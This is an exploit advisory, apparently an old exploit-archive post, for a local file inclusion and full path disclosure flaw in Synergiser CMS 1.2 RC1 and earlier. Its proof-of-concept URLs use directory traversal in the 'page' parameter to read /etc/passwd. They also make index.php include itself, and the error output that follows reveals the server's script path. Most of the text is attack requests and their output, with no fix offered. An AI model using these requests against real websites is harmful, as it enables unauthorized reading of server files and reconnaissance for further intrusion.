Synergiser <= 1.2 RC1 Local File Inclusion & Full path disclosure

PoC:
---------------------------------------------------------------
Synergiser cms allows to include a file by the get variabile "page". We can't include a remote file, coz there is a filter..but we can include, by a directory traversal, some important files...for example:
---------------------------------------------------------------
http://[target]/[synergiser_path]/index.php?page=../../../etc/passwd
---------------------------------------------------------------
So, we have to know the script path if we wanna browse the server...we can get it generating a full path disclosure, like this:
---------------------------------------------------------------
http://[target]/[synergiser_path]/index.php?page=../index.php
---------------------------------------------------------------
We know that a function cannot be declared two times. So, let's read the "index.php" code, and we will found:
---------------------------------------------------------------
include('application_top.php');
---------------------------------------------------------------
This row includes "application_top.php". In that page, is declared a php function: assign_rand_value(); So, including index.php in index.php, we will reinclude application_top.php, and we will redeclare the same function. We can't do it! So the server will answer:
---------------------------------------------------------------
Fatal error: Cannot redeclare assign_rand_value() (previously declared in [script_path]/application_top.php:9) in [script_path]/application_top.php on line 124
---------------------------------------------------------------
And we got the script path! :P
